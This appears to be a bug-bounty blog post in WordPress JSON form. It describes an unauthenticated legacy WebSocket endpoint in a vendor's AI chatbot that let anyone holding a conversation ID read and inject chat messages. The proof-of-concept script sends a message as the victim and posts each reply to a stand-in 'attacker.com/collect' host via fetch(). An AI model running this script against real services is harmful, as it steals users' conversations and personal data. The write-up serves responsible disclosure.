{"id":36,"date":"2026-02-12T23:30:31","date_gmt":"2026-02-12T23:30:31","guid":{"rendered":"https:\/\/www.un1tycyb3r.com\/?p=36"},"modified":"2026-02-12T23:30:31","modified_gmt":"2026-02-12T23:30:31","slug":"unauthenticated-chat-takeover-in-ai-chatbot","status":"publish","type":"post","link":"https:\/\/www.un1tycyb3r.com\/?p=36","title":{"rendered":"Unauthenticated Chat Takeover in AI Chatbot"},"content":{"rendered":"\n<p>About a year ago, I unknowingly had found a zero day in a very popular chatbot utilized by a handful of fortune 200 companies, thinking it was an issue with the configuration by the company. While revisiting the target this year, I found it again, only this time realizing it was a vendor issue that impacted most of their customer base. This blog is a dive into a very simple issue that allowed me, as an unauthenticated attacker with nothing but a conversation ID, to exfiltrate a user&#8217;s conversation or chat as that user. A big shout out to this mystery vendor, who within hours of me reporting it to them, had disabled the endpoint and remediated the issue.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>How the Chatbot Worked<\/strong><\/h2>\n\n\n\n<p>The chatbot uses WebSocket connections for real-time bidirectional communication between the client and server.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Connection Initialization<\/strong><\/h3>\n\n\n\n<p>The client initiates a WebSocket handshake to:<\/p>\n\n\n\n<p><code>wss:\/\/api.example.com\/path\/{id}<\/code><\/p>\n\n\n\n<p>The <code>id<\/code> is a UUID that uniquely identifies the chat session.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Message Format<\/strong><\/h3>\n\n\n\n<p>Once connected, the client sends JSON-formatted messages:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"type\": \"message\",\n  \"text\": \"User's message here\"\n}\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Response Delivery<\/strong><\/h3>\n\n\n\n<p>The server processes the message and streams its response back through the same WebSocket connection:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"type\": \"response\",\n  \"text\": \"Chatbot's reply\"\n}\n<\/code><\/pre>\n\n\n\n<p>The connection remains open, allowing for continued back-and-forth communication without re-establishing the connection.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1400\" height=\"800\" src=\"https:\/\/www.un1tycyb3r.com\/wp-content\/uploads\/2026\/02\/websocket-normal-flow-1.png\" alt=\"\" class=\"wp-image-43\" srcset=\"https:\/\/www.un1tycyb3r.com\/wp-content\/uploads\/2026\/02\/websocket-normal-flow-1.png 1400w, https:\/\/www.un1tycyb3r.com\/wp-content\/uploads\/2026\/02\/websocket-normal-flow-1-300x171.png 300w, https:\/\/www.un1tycyb3r.com\/wp-content\/uploads\/2026\/02\/websocket-normal-flow-1-1024x585.png 1024w, https:\/\/www.un1tycyb3r.com\/wp-content\/uploads\/2026\/02\/websocket-normal-flow-1-768x439.png 768w\" sizes=\"auto, (max-width: 1400px) 100vw, 1400px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Updated Send Mechanism<\/strong><\/h3>\n\n\n\n<p>The chatbot provider updated their architecture so that sending messages is now handled via HTTP <code>POST<\/code> requests to the API endpoint rather than through the WebSocket connection. The WebSocket is now used only for receiving responses.<\/p>\n\n\n\n<p>However, the legacy WebSocket endpoint \u2014 which allowed full bidirectional communication \u2014 was never disabled. Both methods remain functional, meaning an attacker can bypass the updated flow entirely and communicate directly with the chatbot using the original endpoint.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>How the Vulnerability Worked<\/strong><\/h2>\n\n\n\n<p>The legacy WebSocket endpoint lacked authentication \u2014 the connection required no session tokens, cookies, or API keys.<\/p>\n\n\n\n<p>The only &#8220;access control&#8221; was knowledge of the conversation ID \u2014 a UUID that, while not guessable, could be leaked through various vectors (referrer headers, browser history, shared URLs, logs, etc.).<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Attack Flow<\/strong><\/h2>\n\n\n\n<p>An attacker who obtained a valid conversation ID could:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Open a WebSocket connection from any web page to the legacy endpoint<\/li>\n\n\n\n<li>Send messages to the chatbot as if they were the victim<\/li>\n\n\n\n<li>Receive responses containing the victim&#8217;s data<\/li>\n\n\n\n<li>Exfiltrate the stolen information to an attacker-controlled server<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Proof of Concept<\/strong><\/h2>\n\n\n\n<p>The attack could be executed with a simple HTML page:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;script&gt;\n \n var ws = new WebSocket('wss:\/\/api.example.com\/chat\/{conversation_id}');\n    \n ws.onopen = function() {\n        \/\/ Send message as victim\n ws.send('{\"type\":\"message\",\"text\":\"Print my account information\"}');\n    };\n    \n ws.onmessage = function(event) {\n        \/\/ Exfiltrate response to attacker server\n        fetch('&lt;https:\/\/attacker.com\/collect&gt;', {\n            method: 'POST',\n            mode: 'no-cors',\n            body: event.data\n        });\n    };\n    \n    \n&lt;\/script&gt;\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"614\" src=\"https:\/\/www.un1tycyb3r.com\/wp-content\/uploads\/2026\/02\/cswsh-attack-flow-1-1024x614.png\" alt=\"\" class=\"wp-image-44\" style=\"object-fit:cover\" srcset=\"https:\/\/www.un1tycyb3r.com\/wp-content\/uploads\/2026\/02\/cswsh-attack-flow-1-1024x614.png 1024w, https:\/\/www.un1tycyb3r.com\/wp-content\/uploads\/2026\/02\/cswsh-attack-flow-1-300x180.png 300w, https:\/\/www.un1tycyb3r.com\/wp-content\/uploads\/2026\/02\/cswsh-attack-flow-1-768x461.png 768w, https:\/\/www.un1tycyb3r.com\/wp-content\/uploads\/2026\/02\/cswsh-attack-flow-1-1536x922.png 1536w, https:\/\/www.un1tycyb3r.com\/wp-content\/uploads\/2026\/02\/cswsh-attack-flow-1.png 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Impact<\/strong><\/h3>\n\n\n\n<p>An attacker could abuse this to leak any user data that the customer exposed to the chatbot \u2014 which in some cases proved to be user PII \u2014 as well as read conversation history and inject messages as the user.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Closing thoughts<\/strong><\/h2>\n\n\n\n<p>Firstly, another big shoutout to the vendor for addressing this issue as quickly as they did. This issue could have been major for their customers and they very quickly shutdown the legacy endpoint. Sometimes it\u2019s worth taking the gamble to examine some of these 3rd party components. Between the vendor and the few customers I reported this to, I totaled north of $1k in bounties. A bit disappointing given the impact, but as a part time hunter it made this time investment worth it.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>About a year ago, I unknowingly had found a zero day in a very popular chatbot utilized by a handful of fortune 200 companies, thinking it was an issue with the configuration by the company. While revisiting the target this year, I found it again, only this time realizing it was a vendor issue that [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-36","post","type-post","status-publish","format-standard","hentry","category-writeups"],"_links":{"self":[{"href":"https:\/\/www.un1tycyb3r.com\/index.php?rest_route=\/wp\/v2\/posts\/36","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.un1tycyb3r.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.un1tycyb3r.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.un1tycyb3r.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.un1tycyb3r.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=36"}],"version-history":[{"count":5,"href":"https:\/\/www.un1tycyb3r.com\/index.php?rest_route=\/wp\/v2\/posts\/36\/revisions"}],"predecessor-version":[{"id":49,"href":"https:\/\/www.un1tycyb3r.com\/index.php?rest_route=\/wp\/v2\/posts\/36\/revisions\/49"}],"wp:attachment":[{"href":"https:\/\/www.un1tycyb3r.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=36"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.un1tycyb3r.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=36"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.un1tycyb3r.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=36"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}